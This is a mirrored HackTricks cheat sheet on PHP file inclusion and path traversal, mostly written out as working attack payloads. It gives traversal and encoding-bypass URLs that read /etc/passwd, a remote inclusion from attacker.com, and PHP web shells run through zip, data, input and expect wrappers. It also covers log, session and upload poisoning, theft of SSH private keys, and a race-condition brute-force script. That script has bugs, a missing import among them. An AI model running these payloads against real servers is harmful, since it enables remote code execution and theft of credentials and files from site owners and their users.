mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
345 lines
14 KiB
Markdown
345 lines
14 KiB
Markdown
|
# File Inclusion/Path traversal
|
||
|
|
||
|
## File Inclusion
|
||
|
|
||
|
**Remote File Inclusion \(RFI\):** The file is loaded from a remote server \(Best: You can write the code and the server will execute it\). In php this is **disabled** by default \(**allow\_url\_include**\).
|
||
|
**Local File Inclusion \(LFI\):** The sever loads a local file.
|
||
|
|
||
|
The vulnerability occurs when the user can control in some way the file that is going to be load by the server.
|
||
|
|
||
|
Vulnerable **PHP functions**: require, require\_once, include, include\_once
|
||
|
|
||
|
A interesting tool to exploit this vulnerability: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||
|
|
||
|
## Blind - Interesting - LFI2RCE files
|
||
|
|
||
|
### **Linux**
|
||
|
|
||
|
**Mixing several \*nix LFI lists and adding more paths I have created this one:**
|
||
|
|
||
|
{% file src="../.gitbook/assets/lfi \(2\).txt" %}
|
||
|
|
||
|
A list that uses several techniques to find the file /etc/password \(to check if the vulnerability exists\) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
||
|
|
||
|
### **Windows**
|
||
|
|
||
|
Using theses lists and deleting repetitions I have created a new one:
|
||
|
|
||
|
* [https://raw.githubusercontent.com/soffensive/windowsblindread/master/windows-files.txt](https://raw.githubusercontent.com/soffensive/windowsblindread/master/windows-files.txt)
|
||
|
* [https://www.gracefulsecurity.com/path-traversal-cheat-sheet-windows/](https://www.gracefulsecurity.com/path-traversal-cheat-sheet-windows/)
|
||
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Directory%20Traversal](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Directory%20Traversal)
|
||
|
* [https://github.com/soffensive/windowsblindread/blob/master/windows-files.txt](https://github.com/soffensive/windowsblindread/blob/master/windows-files.txt)
|
||
|
* [http://awesomehackers.org/2018/05/11/path-traversal-cheat-sheet/](http://awesomehackers.org/2018/05/11/path-traversal-cheat-sheet/)
|
||
|
|
||
|
{% file src="../.gitbook/assets/winlfi.txt" %}
|
||
|
|
||
|
A list that uses several techniques to find the file /boot.ini \(to check if the vulnerability exists\) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
||
|
|
||
|
### **OS X**
|
||
|
|
||
|
Check the LFI list of linux.
|
||
|
|
||
|
## Basic LFI and bypasses
|
||
|
|
||
|
All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also \(page=http://myserver.com/phpshellcode.txt\).
|
||
|
|
||
|
```text
|
||
|
http://example.com/index.php?page=../../../etc/passwd
|
||
|
```
|
||
|
|
||
|
### traversal sequences stripped non-recursively
|
||
|
|
||
|
```python
|
||
|
http://example.com/index.php?page=....//....//....//etc/passwd
|
||
|
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
||
|
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
|
||
|
```
|
||
|
|
||
|
### **Null byte \(%00\)**
|
||
|
|
||
|
Bypass the append more chars at the end of the provided string \(bypass of: $\_GET\['param'\]."php"\)
|
||
|
|
||
|
```text
|
||
|
http://example.com/index.php?page=../../../etc/passwd%00
|
||
|
```
|
||
|
|
||
|
This is **solved since PHP 5.4**
|
||
|
|
||
|
### **Encoding**
|
||
|
|
||
|
You could use non-standard encondings like double URL encode \(and others\):
|
||
|
|
||
|
```text
|
||
|
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
|
||
|
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
||
|
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
|
||
|
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
||
|
```
|
||
|
|
||
|
### From existent folder
|
||
|
|
||
|
Maybe the back-end is checking the folder path:
|
||
|
|
||
|
```python
|
||
|
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||
|
```
|
||
|
|
||
|
### **Path truncation**
|
||
|
|
||
|
Bypass the append of more chars at the end of the provided string \(bypass of: $\_GET\['param'\]."php"\)
|
||
|
|
||
|
```text
|
||
|
In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.
|
||
|
Check if last 6 chars are passwd --> passwd/
|
||
|
Check if last 4 chars are ".php" --> shellcode.php/.
|
||
|
```
|
||
|
|
||
|
```text
|
||
|
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
|
||
|
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
||
|
|
||
|
#With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027)
|
||
|
|
||
|
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
|
||
|
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
|
||
|
```
|
||
|
|
||
|
Always try to **start** the path **with a fake directory** \(a/\).
|
||
|
|
||
|
**This vulnerability was corrected in PHP 5.3.**
|
||
|
|
||
|
### **Filter bypass tricks**
|
||
|
|
||
|
```text
|
||
|
http://example.com/index.php?page=....//....//etc/passwd
|
||
|
http://example.com/index.php?page=..///////..////..//////etc/passwd
|
||
|
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
|
||
|
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
|
||
|
```
|
||
|
|
||
|
## Basic RFI
|
||
|
|
||
|
```python
|
||
|
http://example.com/index.php?page=http://atacker.com/mal.php
|
||
|
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||
|
```
|
||
|
|
||
|
## LFI / RFI using PHP wrappers
|
||
|
|
||
|
### Wrapper php://filter
|
||
|
|
||
|
#### Base64 and rot13
|
||
|
|
||
|
The part "php://filter" is case insensitive
|
||
|
|
||
|
```text
|
||
|
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
|
||
|
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
|
||
|
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
|
||
|
```
|
||
|
|
||
|
#### zlib \(compression\)
|
||
|
|
||
|
Can be chained with a **compression** wrapper for large files.
|
||
|
|
||
|
```text
|
||
|
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
|
||
|
```
|
||
|
|
||
|
To read the comppression data you need to decode the base64 and read the resulting data using:
|
||
|
|
||
|
```bash
|
||
|
php -a #Starts a php console
|
||
|
readfile('php://filter/zlib.inflate/resource=test.deflated');
|
||
|
```
|
||
|
|
||
|
**NOTE: Wrappers can be chained**
|
||
|
|
||
|
### Wrapper zip://
|
||
|
|
||
|
Upload a Zip file with a PHPShell inside and access it.
|
||
|
|
||
|
```bash
|
||
|
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
||
|
zip payload.zip payload.php;
|
||
|
mv payload.zip shell.jpg;
|
||
|
rm payload.php
|
||
|
|
||
|
http://example.com/index.php?page=zip://shell.jpg%23payload.php
|
||
|
```
|
||
|
|
||
|
### Wrapper data://
|
||
|
|
||
|
```text
|
||
|
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
|
||
|
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
|
||
|
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||
|
```
|
||
|
|
||
|
Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+`
|
||
|
|
||
|
### Wrapper expect://
|
||
|
|
||
|
Expect has to be activated. You can execute code using this.
|
||
|
|
||
|
```text
|
||
|
http://example.com/index.php?page=expect://id
|
||
|
http://example.com/index.php?page=expect://ls
|
||
|
```
|
||
|
|
||
|
### Wrapper input://
|
||
|
|
||
|
Specify your payload in the POST parameters
|
||
|
|
||
|
```text
|
||
|
http://example.com/index.php?page=php://input
|
||
|
POST DATA: <? system('id'); ?>
|
||
|
```
|
||
|
|
||
|
### Wrapper phar://
|
||
|
|
||
|
Check [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
|
||
|
|
||
|
## LFI2RCE
|
||
|
|
||
|
### Via Apache log file
|
||
|
|
||
|
If the Apache server is vulnerable to LFI inside the include function you could try to access to _**/var/log/apache2/access.log**_, set inside the user agent or inside a GET parameter a php shell like `<?php system($_GET['c']); ?>` and execute code using the "c" GET parameter.
|
||
|
|
||
|
Note that **if you use double quotes** for the shell instead of **simple quotes**, the double quotes will be modified for the string "_**quote;**_", **PHP will throw an error** there and **nothing else will be executed**.
|
||
|
|
||
|
This could also be done in other logs but b**e carefull,** the code inside the logs could be URL encoded and this could destroy the Shell. The header **authorisation "basic"** contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted insithe this header.
|
||
|
|
||
|
### Via Email
|
||
|
|
||
|
Send a mail to a internal account \(user@localhost\) containing `<?php echo system($_REQUEST["cmd"]); ?>` and access to the mail _**/var/mail/USER&cmd=whoami**_
|
||
|
|
||
|
### Via /proc/\*/fd/\*
|
||
|
|
||
|
1. Upload a lot of shells \(for example : 100\)
|
||
|
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), with $PID = PID of the process \(can be bruteforced\) and $FD the filedescriptor \(can be bruteforced too\)
|
||
|
|
||
|
### Via /proc/self/environ
|
||
|
|
||
|
Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file
|
||
|
|
||
|
```text
|
||
|
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||
|
User-Agent: <?=phpinfo(); ?>
|
||
|
```
|
||
|
|
||
|
### Via upload
|
||
|
|
||
|
If you can upload a file, just inject the shell payload in it \(e.g : `<?php system($_GET['c']); ?>` \).
|
||
|
|
||
|
```text
|
||
|
http://example.com/index.php?page=path/to/uploaded/file.png
|
||
|
```
|
||
|
|
||
|
In order to keep the file readable it is best to inject into the metadata of the pictures/doc/pdf
|
||
|
|
||
|
### Via Zip fie upload
|
||
|
|
||
|
Upload a ZIP file containing a PHP shell compressed and access:
|
||
|
|
||
|
```python
|
||
|
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
||
|
```
|
||
|
|
||
|
### Via PHP sessions
|
||
|
|
||
|
Check if the website use PHP Session \(PHPSESSID\)
|
||
|
|
||
|
```text
|
||
|
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
||
|
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||
|
```
|
||
|
|
||
|
In PHP these sessions are stored into _/var/lib/php5/sess\_\[PHPSESSID\]_ files
|
||
|
|
||
|
```text
|
||
|
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
||
|
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
||
|
```
|
||
|
|
||
|
Set the cookie to `<?php system('cat /etc/passwd');?>`
|
||
|
|
||
|
```text
|
||
|
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
||
|
```
|
||
|
|
||
|
Use the LFI to include the PHP session file
|
||
|
|
||
|
```text
|
||
|
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
|
||
|
```
|
||
|
|
||
|
### Via ssh
|
||
|
|
||
|
If ssh is active check which user is being used \(/proc/self/status & /etc/passwd\) and try to access **<HOME>/.ssh/id\_rsa**
|
||
|
|
||
|
### Via phpinfo\(\) \(file\_uploads = on\)
|
||
|
|
||
|
To exploit this vulnerability you need: **A LFI vulnerability, a page where phpinfo\(\) is displayed, "file\_uploads = on" and the server has to be able to write in the "/tmp" directory.**
|
||
|
|
||
|
[https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/File%20Inclusion/phpinfolfi.py](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/File%20Inclusion/phpinfolfi.py)
|
||
|
|
||
|
**Turotial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s)
|
||
|
|
||
|
You need to fix the exploit \(change **=>** for **=>**\). To do so you can do:
|
||
|
|
||
|
```text
|
||
|
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
|
||
|
```
|
||
|
|
||
|
You have to change also the **payload** at the beginning of the exploit \(for a php-rev-shell for example\), the **REQ1** \(this should point to the phpinfo page and should have the padding included, i.e.: _REQ1="""POST /install.php?mode=phpinfo&a="""+padding+""" HTTP/1.1\r_\), and **LFIREQ** \(this should point to the LFI vulnerability, i.e.: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Check the double "%" when exploiting null char\)
|
||
|
|
||
|
{% file src="../.gitbook/assets/lfi-with-phpinfo-assistance.pdf" %}
|
||
|
|
||
|
#### Theory
|
||
|
|
||
|
If uploads are allowed in PHP and you try to upload a file, this files is stored in a temporal directory until the server has finished processing the request, then this temporary files is deleted.
|
||
|
|
||
|
Then, if have found a LFI vulnerability in the web server you can try to guess the name of the temporary file created and exploit a RCE accessing the temporary file before it is deleted.
|
||
|
|
||
|
In **Windows** the files are usually stored in **C:\Windows\temp\php<<**
|
||
|
|
||
|
In **linux** the name of the file use to be **random** and located in **/tmp**. As the name is random, it is needed to **extract from somewhere the name of the temporal file** and access it before it is deleted. This can be done reading the value of the **variable $\_FILES** inside the content of the function "**phpconfig\(\)**".
|
||
|
|
||
|
**phpinfo\(\)**
|
||
|
|
||
|
**PHP** uses a buffer of **4096B** and when it is **full**, it is **send to the client**. Then the client can **send** **a lot of big requests** \(using big headers\) **uploading a php** reverse **shell**, wait for the **first part of the phpinfo\(\) to be returned** \(where the name of the temporary file is\) and try to **access the temp file** before the php server deletes the file exploiting a LFI vulnerability.
|
||
|
|
||
|
**Python script to try to bruteforce the name \(if length = 6\)**
|
||
|
|
||
|
```python
|
||
|
import itertools
|
||
|
import requests
|
||
|
import sys
|
||
|
|
||
|
print('[+] Trying to win the race')
|
||
|
f = {'file': open('shell.php', 'rb')}
|
||
|
for _ in range(4096 * 4096):
|
||
|
requests.post('http://target.com/index.php?c=index.php', f)
|
||
|
|
||
|
|
||
|
print('[+] Bruteforcing the inclusion')
|
||
|
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
|
||
|
url = 'http://target.com/index.php?c=/tmp/php' + fname
|
||
|
r = requests.get(url)
|
||
|
if 'load average' in r.text: # <?php echo system('uptime');
|
||
|
print('[+] We have got a shell: ' + url)
|
||
|
sys.exit(0)
|
||
|
|
||
|
print('[x] Something went wrong, please try again')
|
||
|
```
|
||
|
|
||
|
### References
|
||
|
|
||
|
[PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
|
||
|
[PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
|
||
|
|
||
|
|
||
|
{% file src="../.gitbook/assets/en-local-file-inclusion-1.pdf" %}
|
||
|
|